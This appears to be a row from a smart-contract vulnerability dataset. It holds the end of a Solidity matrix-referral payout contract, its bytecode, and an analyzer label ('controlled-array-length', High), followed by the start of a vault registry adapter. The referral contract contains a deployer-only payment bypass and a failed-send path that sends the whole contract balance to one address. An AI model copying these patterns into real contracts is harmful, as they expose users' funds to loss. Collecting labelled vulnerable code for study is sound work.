users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
if(msg.sender!=deployer)
{
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function viewLevels(address user) public view returns (bool[12] memory x3Levels, bool[12] memory x6Levels,uint8 x3LastTrue, uint8 x6LastTrue)
{
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
x3Levels[i] = users[user].activeX3Levels[i];
if(x3Levels[i]) x3LastTrue = i;
x6Levels[i] = users[user].activeX6Levels[i];
if(x6Levels[i]) x6LastTrue = i;
}
}
}
|
0x6080604052600436106101355760003560e01c806383ba31b2116100ab578063be389d571161006f578063be389d5714610694578063d5f39488146106bc578063e06e8dbd146106d1578063ecabdf791461070d578063fa45323d1461073a578063fb005f9c1461077657610135565b806383ba31b2146104485780639cc102fc146104f15780639f54790d146105ea578063a87430ba146105ff578063b2f7543a1461065857610135565b806343755d41116100fd57806343755d41146102bc5780634635fd681461036c578063509222cd14610396578063797eee24146103c9578063799d4872146103ef5780637fb2b9171461040457610135565b806307279e2a146101a157806327e235e3146101f157806329c70400146102365780632a2d0c4714610261578063348d4487146102a7575b36610156576005546101519033906001600160a01b0316610828565b61019f565b61019f3361019a6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610b6692505050565b610828565b005b3480156101ad57600080fd5b506101dd600480360360408110156101c457600080fd5b5080356001600160a01b0316906020013560ff16610b6d565b604080519115158252519081900360200190f35b3480156101fd57600080fd5b506102246004803603602081101561021457600080fd5b50356001600160a01b0316610ba1565b60408051918252519081900360200190f35b34801561024257600080fd5b5061024b610bb3565b6040805160ff9092168252519081900360200190f35b34801561026d57600080fd5b5061028b6004803603602081101561028457600080fd5b5035610bb8565b604080516001600160a01b039092168252519081900360200190f35b3480156102b357600080fd5b50610224610bd3565b3480156102c857600080fd5b506102f7600480360360408110156102df57600080fd5b506001600160a01b0381358116916020013516610bd9565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610331578181015183820152602001610319565b50505050905090810190601f16801561035e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037857600080fd5b5061028b6004803603602081101561038f57600080fd5b5035610caf565b3480156103a257600080fd5b506101dd600480360360208110156103b957600080fd5b50356001600160a01b0316610cca565b6102f7600480360360208110156103df57600080fd5b50356001600160a01b0316610ce7565b3480156103fb57600080fd5b5061028b610d26565b34801561041057600080fd5b506102f76004803603606081101561042757600080fd5b506001600160a01b038135169060ff60208201358116916040013516610d35565b34801561045457600080fd5b506104846004803603604081101561046b57600080fd5b5080356001600160a01b0316906020013560ff16610e0f565b604080516001600160a01b0385168152821515918101919091526060602080830182815285519284019290925284516080840191868101910280838360005b838110156104db5781810151838201526020016104c3565b5050505090500194505050505060405180910390f35b3480156104fd57600080fd5b5061052d6004803603604081101561051457600080fd5b5080356001600160a01b0316906020013560ff16610ebc565b604080516001600160a01b03808816825284151560608301528316608082015260a060208083018281528851928401929092528751929391929184019160c0850191898101910280838360005b8381101561059257818101518382015260200161057a565b50505050905001838103825286818151815260200191508051906020019060200280838360005b838110156105d15781810151838201526020016105b9565b5050505090500197505050505050505060405180910390f35b3480156105f657600080fd5b50610224610fdb565b34801561060b57600080fd5b506106326004803603602081101561062257600080fd5b50356001600160a01b0316610fe1565b604080519384526001600160a01b03909216602084015282820152519081900360600190f35b34801561066457600080fd5b506101dd6004803603604081101561067b57600080fd5b5080356001600160a01b0316906020013560ff1661100b565b6102f7600480360360408110156106aa57600080fd5b5060ff8135811691602001351661103a565b3480156106c857600080fd5b5061028b61107e565b3480156106dd57600080fd5b5061028b600480360360408110156106f457600080fd5b5080356001600160a01b0316906020013560ff1661108d565b34801561071957600080fd5b506102246004803603602081101561073057600080fd5b503560ff16611119565b34801561074657600080fd5b5061028b6004803603604081101561075d57600080fd5b5080356001600160a01b0316906020013560ff1661112b565b34801561078257600080fd5b506107a96004803603602081101561079957600080fd5b50356001600160a01b03166111b7565b604051808561018080838360005b838110156107cf5781810151838201526020016107b7565b5050505090500184600c60200280838360005b838110156107fa5781810151838201526020016107e2565b505050509050018360ff1660ff1681526020018260ff1660ff16815260200194505050505060405180910390f35b6006546001600160a01b031633146108bc57600160005260086020527fad67d757c34507f157cacfa2e3153e9f260a2244f30428821be7be64587ac55f5460020234146108bc576040805162461bcd60e51b815260206004820152601b60248201527f496e76616c696420726567697374726174696f6e20616d6f756e740000000000604482015290519081900360640190fd5b6108c582610cca565b15610905576040805162461bcd60e51b815260206004820152600b60248201526a757365722065786973747360a81b604482015290519081900360640190fd5b61090e81610cca565b610955576040805162461bcd60e51b81526020600482015260136024820152727265666572726572206e6f742065786973747360681b604482015290519081900360640190fd5b813b63ffffffff8116156109a7576040805162461bcd60e51b815260206004820152601460248201527318d85b9b9bdd08189948184818dbdb9d1c9858dd60621b604482015290519081900360640190fd5b6004805460010190556109b8613093565b50604080516060810182526004805482526001600160a01b03808616602080850182815260008688018181528b861680835282855289832089518155935160018086018054929099166001600160a01b03199283161789559251600280870191909155895485528387528b852080548316841790558854821688179098558284526003850186528a8420805460ff19908116851790915583855294890186528a84208054909516831790945596548252858452888220805490931690961790915591825281905293842001805482019055909190610a9790869061112b565b6001600160a01b038681166000908152602081815260408083206001808552600590910190925290912080546001600160a01b03191692841692909217909155909150610ae790869083906112aa565b610afd85610af687600161108d565b6001611619565b6001600160a01b038086166000818152602081815260408083205494891680845292819020548151908152349281019290925280519293927fc1df0cc11cc2a40ae327c4da54a7bc5d5007047ac744e37eed7b461a781172159281900390910190a45050505050565b6014015190565b6001600160a01b03821660009081526020818152604080832060ff8086168552600390910190925290912054165b92915050565b60036020526000908152604090205481565b600c81565b6001602052600090815260409020546001600160a01b031681565b60045481565b6006546060906001600160a01b03163314610c2b576040805162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2102237b737b960991b604482015290519081900360640190fd5b42600754620151800111610c705760405162461bcd60e51b81526004018080602001828103825260328152602001806131696032913960400191505060405180910390fd5b610c7a8383610828565b506040805180820190915260178152761c9959da5cdd1c985d1a5bdb881cdd58d8d95cdcd99d5b604a1b602082015292915050565b6002602052600090815260409020546001600160a01b031681565b6001600160a01b0316600090815260208190526040902054151590565b6060610cf33383610828565b50506040805180820190915260178152761c9959da5cdd1c985d1a5bdb881cdd58d8d95cdcd99d5b604a1b602082015290565b6005546001600160a01b031681565b6006546060906001600160a01b03163314610d87576040805162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2102237b737b960991b604482015290519081900360640190fd5b42600754620151800111610dcc5760405162461bcd60e51b81526004018080602001828103825260328152602001806131696032913960400191505060405180910390fd5b610dd7848484611faf565b506040805180820190915260198152784c6576656c20626f75676874207375636365737366756c6c7960381b60208201529392505050565b6001600160a01b0382811660009081526020818152604080832060ff8681168552600590910183528184208054600282015460019092018054855181880281018801909652808652969760609789979390911695919493909316929091849190830182828015610ea857602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610e8a575b505050505091509250925092509250925092565b6001600160a01b0382811660009081526020818152604080832060ff8681168552600690910183528184208054600382015460058301546001840180548751818a0281018a0190985280885298996060998a998c998a99978416989497600290950196909416949092169291869190830182828015610f6457602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610f46575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610fc057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610fa2575b50505050509250945094509450945094509295509295909350565b60075481565b60006020819052908152604090208054600182015460029092015490916001600160a01b03169083565b6001600160a01b039190911660009081526020818152604080832060ff94851684526004019091529020541690565b6060611047338484611faf565b506040805180820190915260198152784c6576656c20626f75676874207375636365737366756c6c7960381b602082015292915050565b6006546001600160a01b031681565b60005b6001600160a01b0380841660009081526020818152604080832060010154909316825282822060ff808716845260049091019091529190205416156110f357506001600160a01b0380831660009081526020819052604090206001015416610b9b565b6001600160a01b0392831660009081526020819052604090206001015490921691611090565b60086020526000908152604090205481565b60005b6001600160a01b0380841660009081526020818152604080832060010154909316825282822060ff8087168452600390910190915291902054161561119157506001600160a01b0380831660009081526020819052604090206001015416610b9b565b6001600160a01b039283166000908152602081905260409020600101549092169161112e565b6111bf6130bd565b6111c76130bd565b60008060015b600c60ff8216116112a2576001600160a01b03861660009081526020818152604080832060ff808616808652600390920190935292205416908690600c811061121257fe5b911515602090920201528460ff8216600c811061122b57fe5b602002015115611239578092505b6001600160a01b03861660009081526020818152604080832060ff808616808652600490920190935292205416908590600c811061127357fe5b911515602090920201528360ff8216600c811061128c57fe5b60200201511561129a578091505b6001016111cd565b509193509193565b6001600160a01b0382811660009081526020818152604080832060ff8616808552600590910183529083206001908101805491820181558085529284200180546001600160a01b031916948816949094179093559190525460031115611382576001600160a01b0380831660008181526020818152604080832060ff808816808652600590920184529382902060019081015483519182529381019190915291909216818301529051919286169160008051602061319b8339815191529181900360600190a361137d828460018461244e565b611614565b604080516001815260ff8316602082015260038183015290516001600160a01b03808516929086169160008051602061319b8339815191529181900360600190a360408051600080825260208083018085526001600160a01b038716835282825284832060ff87168452600501909152929020905161140792600190920191906130dc565b506001600160a01b03821660009081526020818152604080832060ff600186018116855260039091019092529091205416158015611449575060ff8116600c14155b15611484576001600160a01b03821660009081526020818152604080832060ff851684526005019091529020600201805460ff191660011790555b6005546001600160a01b0383811691161461158f5760006114a5838361112b565b6001600160a01b0384811660009081526020818152604080832060ff88168452600501909152902054919250828116911614611519576001600160a01b0383811660009081526020818152604080832060ff87168452600501909152902080546001600160a01b0319169183169190911790555b6001600160a01b0380841660008181526020818152604080832060ff8816808552600590910183529281902060030180546001908101909155815190815291820192909252815188851694861693926000805160206131bb833981519152928290030190a46115898382846112aa565b50611614565b6005546115a8906001600160a01b03168460018461244e565b600580546001600160a01b0390811660009081526020818152604080832060ff87168085529086018352818420600301805460019081019091559554825196875292860152805188851695939492909216926000805160206131bb833981519152929081900390910190a45b505050565b6001600160a01b03821660009081526020818152604080832060ff808616855260049091019092529091205416611697576040805162461bcd60e51b815260206004820152601f60248201527f3530302e205265666572726572206c6576656c20697320696e61637469766500604482015290519081900360640190fd5b6001600160a01b03821660009081526020818152604080832060ff8516845260060190915290206001015460021115611bfc576001600160a01b0382811660008181526020818152604080832060ff8781168086526006909201845282852060019081018054918201815580875285872090910180546001600160a01b031916988c1698891790559482905293548251600281529384019190915290921681830152905191929160008051602061319b833981519152916060908290030190a36001600160a01b0383811660009081526020818152604080832060ff86168452600601909152902080546001600160a01b03191684831690811790915560055490911614156117ad5761137d828460028461244e565b6001600160a01b0382811660009081526020818152604080832060ff8616808552600691820184528285205486168086528585528386208287529092018452918420600280820180546001808201835591885295872090950180546001600160a01b031916978b169790971790965591909352015490918114801561187e57506001600160a01b0382811660009081526020818152604080832060ff88168452600601909152812060010180549287169290919061186757fe5b6000918252602090912001546001600160a01b0316145b80156118da57506001600160a01b0382811660009081526020818152604080832060ff881684526006019091529020600190810180549287169290919081106118c357fe5b6000918252602090912001546001600160a01b0316145b1561199f576001600160a01b03841660009081526020818152604080832060ff871684526006019091529020600190810154141561195857604080516002815260ff8516602082015260058183015290516001600160a01b03808516929088169160008051602061319b8339815191529181900360600190a361199a565b604080516002815260ff8516602082015260068183015290516001600160a01b03808516929088169160008051602061319b8339815191529181900360600190a35b611bea565b80600114806119ae5750806002145b8015611a0657506001600160a01b0382811660009081526020818152604080832060ff8816845260060190915281206001018054928716929091906119ef57fe5b6000918252602090912001546001600160a01b0316145b15611aca576001600160a01b03841660009081526020818152604080832060ff8716845260060190915290206001908101541415611a8457604080516002815260ff8516602082015260038183015290516001600160a01b03808516929088169160008051602061319b8339815191529181900360600190a361199a565b604080516002815260ff8516602082015260048183015290516001600160a01b03808516929088169160008051602061319b8339815191529181900360600190a3611bea565b806002148015611b2a57506001600160a01b0382811660009081526020818152604080832060ff88168452600601909152902060019081018054928716929091908110611b1357fe5b6000918252602090912001546001600160a01b0316145b15611bea576001600160a01b03841660009081526020818152604080832060ff8716845260060190915290206001908101541415611ba857604080516002815260ff8516602082015260058183015290516001600160a01b03808516929088169160008051602061319b8339815191529181900360600190a3611bea565b604080516002815260ff8516602082015260068183015290516001600160a01b03808516929088169160008051602061319b8339815191529181900360600190a35b611bf585838561254a565b5050611614565b6001600160a01b0382811660009081526020818152604080832060ff86168085526006909101835290832060028101805460018101825590855292842090920180546001600160a01b031916888616179055909152600501541615611de0576001600160a01b03821660009081526020818152604080832060ff851684526006019091529020600190810180549091908110611c9457fe5b60009182526020808320909101546001600160a01b038581168452838352604080852060ff87168652600601909352918320600101805492909116929091611cd857fe5b6000918252602090912001546001600160a01b0316148015611d4d57506001600160a01b0382811660009081526020818152604080832060ff86168452600601909152812060058101546001909101805491909316929190611d3657fe5b6000918252602090912001546001600160a01b0316145b15611d6a57611d5f8383836001612996565b61137d83838361254a565b6001600160a01b0382811660009081526020818152604080832060ff86168452600601909152812060058101546001909101805491909316929190611dab57fe5b6000918252602090912001546001600160a01b03161415611dd357611d5f8383836001612996565b611d5f8383836000612996565b6001600160a01b0382811660009081526020818152604080832060ff86168452600601909152902060019081018054928616929091908110611e1e57fe5b6000918252602090912001546001600160a01b03161415611e4657611d5f8383836000612996565b6001600160a01b0382811660009081526020818152604080832060ff861684526006019091528120600101805492861692909190611e8057fe5b6000918252602090912001546001600160a01b03161415611ea857611d5f8383836001612996565b6001600160a01b03821660009081526020818152604080832060ff851684526006019091528120600190810180548392908110611ee157fe5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822060ff8616808452600691820183528484206001908101549689168552848452858520918552910190915291812090910180548291908290611f4757fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff8616825260060190925290206001015411611f9757611f928383836000612996565b611fa4565b611fa48383836001612996565b61161483838361254a565b611fb883610cca565b611ff35760405162461bcd60e51b81526004018080602001828103825260238152602001806131db6023913960400191505060405180910390fd5b8160ff166001148061200857508160ff166002145b61204a576040805162461bcd60e51b815260206004820152600e60248201526d0d2dcecc2d8d2c840dac2e8e4d2f60931b604482015290519081900360640190fd5b6006546001600160a01b031633146120b25760ff811660009081526008602052604090205434146120b2576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c696420707269636560981b604482015290519081900360640190fd5b60018160ff161180156120c95750600c60ff821611155b61210a576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a59081b195d995b609a1b604482015290519081900360640190fd5b8160ff16600114156122c2576001600160a01b03831660009081526020818152604080832060ff8086168552600390910190925290912054161561218f576040805162461bcd60e51b81526020600482015260176024820152761b195d995b08185b1c9958591e481858dd1a5d985d1959604a1b604482015290519081900360640190fd5b6001600160a01b03831660009081526020818152604080832060ff60001986018116855260059091019092529091206002015416156121ff576001600160a01b03831660009081526020818152604080832060ff60001986011684526005019091529020600201805460ff191690555b600061220b848361112b565b6001600160a01b0385811660009081526020818152604080832060ff8816845260058101835281842080546001600160a01b031916958716959095179094556003909301905220805460ff19166001179055905061226a8482846112aa565b604080516001815260ff84166020820152348183015290516001600160a01b0380841692908716917f2ac186f095e215dc3ab153a0ce480c2155b22ace0abd4e26591d4d22b379343c9181900360600190a350611614565b6001600160a01b03831660009081526020818152604080832060ff8086168552600490910190925290912054161561233b576040805162461bcd60e51b81526020600482015260176024820152761b195d995b08185b1c9958591e481858dd1a5d985d1959604a1b604482015290519081900360640190fd5b6001600160a01b03831660009081526020818152604080832060ff60001986018116855260069091019092529091206003015416156123ab576001600160a01b03831660009081526020818152604080832060ff60001986011684526006019091529020600301805460ff191690555b60006123b7848361108d565b6001600160a01b03851660009081526020818152604080832060ff871684526004019091529020805460ff1916600117905590506123f6848284611619565b604080516002815260ff84166020820152348183015290516001600160a01b0380841692908716917f2ac186f095e215dc3ab153a0ce480c2155b22ace0abd4e26591d4d22b379343c9181900360600190a350505050565b6006546001600160a01b031633146125445760008061246f86868686612eff565b60ff85166000908152600860205260408082205490519395509193506001600160a01b0385169282156108fc029291818181858888f193505050506124eb576040516001600160a01b038316904780156108fc02916000818181858888f193505050501580156124e3573d6000803e3d6000fd5b505050612544565b8015612541576040805160ff80871682528516602082015281516001600160a01b0380861693908916927ff0ddc65c0d411f042f723dcfa1b7d13e85a35b7b70761d447c6500411cacf328929081900390910190a35b50505b50505050565b6001600160a01b03821660009081526020818152604080832060ff851684526006019091529020600201546004111561258a5761137d828460028461244e565b6001600160a01b0380831660009081526020818152604080832060ff8616808552600691820184528285205490951684528383528184209484529390930181529082902060010180548351818402810184019094528084526060939283018282801561261f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612601575b5050505050905080516002141561277c57826001600160a01b03168160008151811061264757fe5b60200260200101516001600160a01b031614806126895750826001600160a01b03168160018151811061267657fe5b60200260200101516001600160a01b0316145b156126eb576001600160a01b0380841660008181526020818152604080832060ff8816808552600691820184528285205490961684528383528184209584529490940190529190912060050180546001600160a01b031916909117905561277c565b80516001141561277c57826001600160a01b03168160008151811061270c57fe5b60200260200101516001600160a01b0316141561277c576001600160a01b0380841660008181526020818152604080832060ff8816808552600691820184528285205490961684528383528184209584529490940190529190912060050180546001600160a01b03191690911790555b60408051600080825260208083018085526001600160a01b038816835282825284832060ff8816845260060190915292902090516127c092600190920191906130dc565b5060408051600080825260208083018085526001600160a01b038816835282825284832060ff88168452600601909152929020905161280592600290920191906130dc565b506001600160a01b03831660009081526020818152604080832060ff808716855260068201845282852060050180546001600160a01b0319169055600187018116855260049091019092529091205416158015612866575060ff8216600c14155b156128a1576001600160a01b03831660009081526020818152604080832060ff861684526006019091529020600301805460ff191660011790555b6001600160a01b0380841660008181526020818152604080832060ff881684526006019091529020600401805460010190556005549091161461293c5760006128ea848461108d565b604080516002815260ff8616602082015281519293506001600160a01b038089169381861693918916926000805160206131bb83398151915292908290030190a4612936848285611619565b50612544565b600554604080516002815260ff8516602082015281516001600160a01b03808916946000949116926000805160206131bb833981519152929081900390910190a4600554612544906001600160a01b03168560028561244e565b80612c46576001600160a01b03831660009081526020818152604080832060ff861684526006019091528120600101805482919082906129d257fe5b6000918252602080832091909101546001600160a01b039081168452838201949094526040928301822060ff8716808452600691820183528484206001908101805480830182559086528486200180546001600160a01b0319168c891617905595891684528383528484209084520190529081209091018054909190612a5457fe5b60009182526020808320909101546001600160a01b038681168452838352604080852060ff881686526006019093529183206001018054918316939288169260008051602061319b833981519152926002928892918291908290612ab457fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c1683526006909101845290829020600101548251958216865293811692850192909252911682820152519081900360600190a36001600160a01b0380841660008181526020818152604080832060ff8816845260060190915281206001018054929388169260008051602061319b8339815191529260029288928291908290612b6457fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c168352600690910184529082902060010154825195821686529381169285019290925260029092011682820152519081900360600190a36001600160a01b03831660009081526020818152604080832060ff8616845260060190915281206001018054909190612bfb57fe5b60009182526020808320909101546001600160a01b038781168452838352604080852060ff881686526006019093529190922080546001600160a01b03191691909216179055612544565b6001600160a01b03831660009081526020818152604080832060ff861684526006019091528120600190810180548392908110612c7f57fe5b6000918252602080832091909101546001600160a01b039081168452838201949094526040928301822060ff8716808452600691820183528484206001908101805480830182559086528486200180546001600160a01b0319168c8916179055958916845283835284842090845201905220810180549091908110612d0057fe5b60009182526020808320909101546001600160a01b038681168452838352604080852060ff8816865260060190935291832060019081018054928416949389169360008051602061319b83398151915293600293899383929091908110612d6357fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c1683526006909101845290829020600101548251958216865293811692850192909252911682820152519081900360600190a36001600160a01b0380841660008181526020818152604080832060ff88168452600601909152812060019081018054939489169360008051602061319b8339815191529360029389939192839291908110612e1857fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060ff808c168352600690910184529082902060010154825195821686529381169285019290925260049092011682820152519081900360600190a36001600160a01b03831660009081526020818152604080832060ff861684526006019091529020600190810180549091908110612eb357fe5b60009182526020808320909101546001600160a01b038781168452838352604080852060ff881686526006019093529190922080546001600160a01b0319169190921617905550505050565b6000808581600160ff87161415612fd5575b6001600160a01b03821660009081526020818152604080832060ff808a1685526005909101909252909120600201541615612fc657604080516001815260ff8716602082015281516001600160a01b03808b1693908616927ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a709929081900390910190a3506001600160a01b0390811660009081526020818152604080832060ff88168452600501909152902054166001612fd0565b909250905061308a565b612f11565b6001600160a01b03821660009081526020818152604080832060ff808a1685526006909101909252909120600301541615612fc657604080516002815260ff8716602082015281516001600160a01b03808b1693908616927ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a709929081900390910190a3506001600160a01b0390811660009081526020818152604080832060ff88168452600601909152902054166001612fd5565b94509492505050565b60405180606001604052806000815260200160006001600160a01b03168152602001600081525090565b604051806101800160405280600c906020820280388339509192915050565b828054828255906000526020600020908101928215613131579160200282015b8281111561313157825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906130fc565b5061313d929150613141565b5090565b61316591905b8082111561313d5780546001600160a01b0319168155600101613147565b9056fe546869732066756e6374696f6e206973206f6e6c7920617661696c61626c6520666f7220666972737420323420686f75727368062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d82a00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a675736572206973206e6f74206578697374732e2052656769737465722066697273742ea265627a7a723158201e4c26901dfdec33b7c2f1d8f7d616eb3dec2b565513fa3e6c6b849b98e5eb8864736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,364 |
0xe75e51566c5761896528b4698a88c92a54b3c954
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*******************************************************
* Interfaces
*******************************************************/
interface IV2Vault {
function token() external view returns (address);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function apiVersion() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function emergencyShutdown() external view returns (bool);
function depositLimit() external view returns (uint256);
}
interface IV2Registry {
function numTokens() external view returns (uint256);
function numVaults(address token) external view returns (uint256);
function tokens(uint256 tokenIdx) external view returns (address);
function latestVault(address token) external view returns (address);
function vaults(address token, uint256 tokenIdx)
external
view
returns (address);
}
interface IAddressesGenerator {
function assetsAddresses() external view returns (address[] memory);
function assetsLength() external view returns (uint256);
function registry() external view returns (address);
function getPositionSpenderAddresses()
external
view
returns (address[] memory);
}
interface IOracle {
function getNormalizedValueUsdc(address tokenAddress, uint256 amount)
external
view
returns (uint256);
function getPriceUsdcRecommended(address tokenAddress)
external
view
returns (uint256);
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function allowance(address spender, address owner)
external
view
returns (uint256);
}
interface IHelper {
// Strategies helper
function assetStrategiesDelegatedBalance(address)
external
view
returns (uint256);
// Allowances helper
struct Allowance {
address owner;
address spender;
uint256 amount;
address token;
}
function allowances(
address ownerAddress,
address[] memory tokensAddresses,
address[] memory spenderAddresses
) external view returns (Allowance[] memory);
}
/*******************************************************
* Ownable
*******************************************************/
contract Ownable {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
/*******************************************************
* Adapter Logic
*******************************************************/
contract RegisteryAdapterV2Vault is Ownable {
/*******************************************************
* Common code shared by all adapters
*******************************************************/
IOracle public oracle; // The oracle is used to fetch USDC normalized pricing data
IHelper public helper; // A helper utility is used for batch allowance fetching and address array merging
IAddressesGenerator public addressesGenerator; // A utility for fetching assets addresses and length
address public fallbackContractAddress; // Optional fallback proxy
/**
* High level static information about an asset
*/
struct AssetStatic {
address id; // Asset address
string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
string name; // Asset Name
string version; // Asset version
Token token; // Static asset underlying token information
}
/**
* High level dynamic information about an asset
*/
struct AssetDynamic {
address id; // Asset address
string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
address tokenId; // Underlying token address;
TokenAmount underlyingTokenBalance; // Underlying token balances
AssetMetadata metadata; // Metadata specific to the asset type of this adapter
}
/**
* Static token data
*/
struct Token {
address id; // Token address
string name; // Token name
string symbol; // Token symbol
uint8 decimals; // Token decimals
}
/**
* Information about a user's position relative to an asset
*/
struct Position {
address assetId; // Asset address
address tokenId; // Underlying asset token address
string typeId; // Position typeId (for example "DEPOSIT," "BORROW," "LEND")
uint256 balance; // asset.balanceOf(account)
TokenAmount underlyingTokenBalance; // Represents a user's asset position in underlying tokens
Allowance[] tokenAllowances; // Underlying token allowances
Allowance[] assetAllowances; // Asset allowances
}
/**
* Token amount representation
*/
struct TokenAmount {
uint256 amount; // Amount in underlying token decimals
uint256 amountUsdc; // Amount in USDC (6 decimals)
}
/**
* Allowance information
*/
struct Allowance {
address owner; // Allowance owner
address spender; // Allowance spender
uint256 amount; // Allowance amount (in underlying token)
}
/**
* Information about the adapter
*/
struct AdapterInfo {
address id; // Adapter address
string typeId; // Adapter typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
string categoryId; // Adapter categoryId (for example "VAULT")
}
/**
* Fetch static information about an array of assets. This method can be used for off-chain pagination.
*/
function assetsStatic(address[] memory _assetsAddresses)
public
view
returns (AssetStatic[] memory)
{
uint256 numberOfAssets = _assetsAddresses.length;
AssetStatic[] memory _assets = new AssetStatic[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
AssetStatic memory _asset = assetStatic(assetAddress);
_assets[assetIdx] = _asset;
}
return _assets;
}
/**
* Fetch dynamic information about an array of assets. This method can be used for off-chain pagination.
*/
function assetsDynamic(address[] memory _assetsAddresses)
public
view
returns (AssetDynamic[] memory)
{
uint256 numberOfAssets = _assetsAddresses.length;
AssetDynamic[] memory _assets = new AssetDynamic[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
AssetDynamic memory _asset = assetDynamic(assetAddress);
_assets[assetIdx] = _asset;
}
return _assets;
}
/**
* Fetch static information for all assets
*/
function assetsStatic() external view returns (AssetStatic[] memory) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsStatic(_assetsAddresses);
}
/**
* Fetch dynamic information for all assets
*/
function assetsDynamic() external view returns (AssetDynamic[] memory) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsDynamic(_assetsAddresses);
}
/**
* Fetch underlying token allowances relative to an asset.
* This is useful for determining whether or not a user has token approvals
* to allow depositing into an asset
*/
function tokenAllowances(address accountAddress, address assetAddress)
public
view
returns (Allowance[] memory)
{
address tokenAddress = underlyingTokenAddress(assetAddress);
address[] memory tokenAddresses = new address[](1);
address[] memory assetAddresses = new address[](1);
tokenAddresses[0] = tokenAddress;
assetAddresses[0] = assetAddress;
bytes memory allowances =
abi.encode(
helper.allowances(
accountAddress,
tokenAddresses,
assetAddresses
)
);
return abi.decode(allowances, (Allowance[]));
}
/**
* Fetch asset allowances based on positionSpenderAddresses (configurable).
* This is useful to determine if a particular zap contract is approved for the asset (zap out use case)
*/
function assetAllowances(address accountAddress, address assetAddress)
public
view
returns (Allowance[] memory)
{
address[] memory assetAddresses = new address[](1);
assetAddresses[0] = assetAddress;
bytes memory allowances =
abi.encode(
helper.allowances(
accountAddress,
assetAddresses,
addressesGenerator.getPositionSpenderAddresses()
)
);
return abi.decode(allowances, (Allowance[]));
}
/**
* Fetch basic static token metadata
*/
function tokenMetadata(address tokenAddress)
internal
view
returns (Token memory)
{
IERC20 _token = IERC20(tokenAddress);
return
Token({
id: tokenAddress,
name: _token.name(),
symbol: _token.symbol(),
decimals: _token.decimals()
});
}
/**
* Internal method for constructing a TokenAmount struct given a token balance and address
*/
function tokenAmount(uint256 amount, address tokenAddress)
internal
view
returns (TokenAmount memory)
{
return
TokenAmount({
amount: amount,
amountUsdc: oracle.getNormalizedValueUsdc(tokenAddress, amount)
});
}
/**
* Fetch the total number of assets for this adapter
*/
function assetsLength() public view returns (uint256) {
return addressesGenerator.assetsLength();
}
/**
* Fetch all asset addresses for this adapter
*/
